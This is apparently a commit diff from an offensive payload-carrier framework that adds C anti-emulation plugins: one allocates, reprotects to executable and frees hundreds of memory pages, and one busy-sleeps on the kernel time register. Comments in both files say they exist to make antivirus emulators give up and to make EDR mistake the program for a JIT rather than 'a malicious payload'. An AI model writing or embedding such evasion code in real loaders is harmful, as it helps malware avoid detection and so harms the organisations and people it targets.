refactor: move carrier plugins around

data/source/antiemulation/none.c

@@ -0,0 +1,4 @@
+
+void antiemulation() {
+    // None
+}

data/source/antiemulation/sirallocalot.c

@@ -0,0 +1,54 @@
+
+#define ALLOC_NUM 256
+
+
+/* This will allocate ALLOC_NUM RW memory regions, 
+     set them to RX, and free them 
+
+    The idea is that the AV emulator will probably give up, either because
+    of used memory is above maximum, or amount of instructions, or 
+    number of API calls, or time. 
+
+    It hopefully also makes the EDR think this program is doing some
+    kind of interpreter or JIT compilation, and not a malicious payload.
+*/
+
+void antiemulation() {
+    void* allocs[ALLOC_NUM];
+    DWORD result;
+
+    for(int i=0; i<4; i++) {
+        
+        for(int n=0; n<ALLOC_NUM; n++) {
+            allocs[n] = VirtualAlloc(
+                NULL, 
+                0x1000, 
+                0x3000, 
+                p_RW
+            );
+        }
+
+        for(int n=0; n<ALLOC_NUM; n++) {
+            if (VirtualProtect(
+                allocs[n], 
+                1000, 
+                p_RX, 
+                &result) == 0) 
+            {
+                return 7;
+            }
+        }
+
+        Sleep(200);
+
+        BOOL bSuccess;
+        for(int n=0; n<ALLOC_NUM; n++) {
+            bSuccess = VirtualFree(
+                            allocs[n],
+                            1000,
+                            0x00008000); // MEM_RELEASE
+        }
+    }
+
+
+}

data/source/antiemulation/timeraw.c

@@ -0,0 +1,30 @@
+
+
+/* Busy sleep with time register
+
+    This function will busy sleep for the given amount of time.
+    It uses the kernel time register, which is not affected by
+    the sleep function (memory address 0x7ffe0004).
+
+    This may defeat the AV emulator (maximum time).
+*/
+
+int get_time_raw() {
+    ULONG* PUserSharedData_TickCountMultiplier = (PULONG)0x7ffe0004;
+    LONG* PUserSharedData_High1Time = (PLONG)0x7ffe0324;
+    ULONG* PUserSharedData_LowPart = (PULONG)0x7ffe0320;
+    DWORD kernelTime = (*PUserSharedData_TickCountMultiplier) * (*PUserSharedData_High1Time << 8) +
+        ((*PUserSharedData_LowPart) * (unsigned __int64)(*PUserSharedData_TickCountMultiplier) >> 24);
+    return kernelTime;
+}
+
+
+int sleep_ms(DWORD sleeptime) {
+    DWORD start = get_time_raw();
+    while (get_time_raw() - start < sleeptime) {}
+}
+
+
+void antiemulation() {
+    sleep_ms(3000);
+}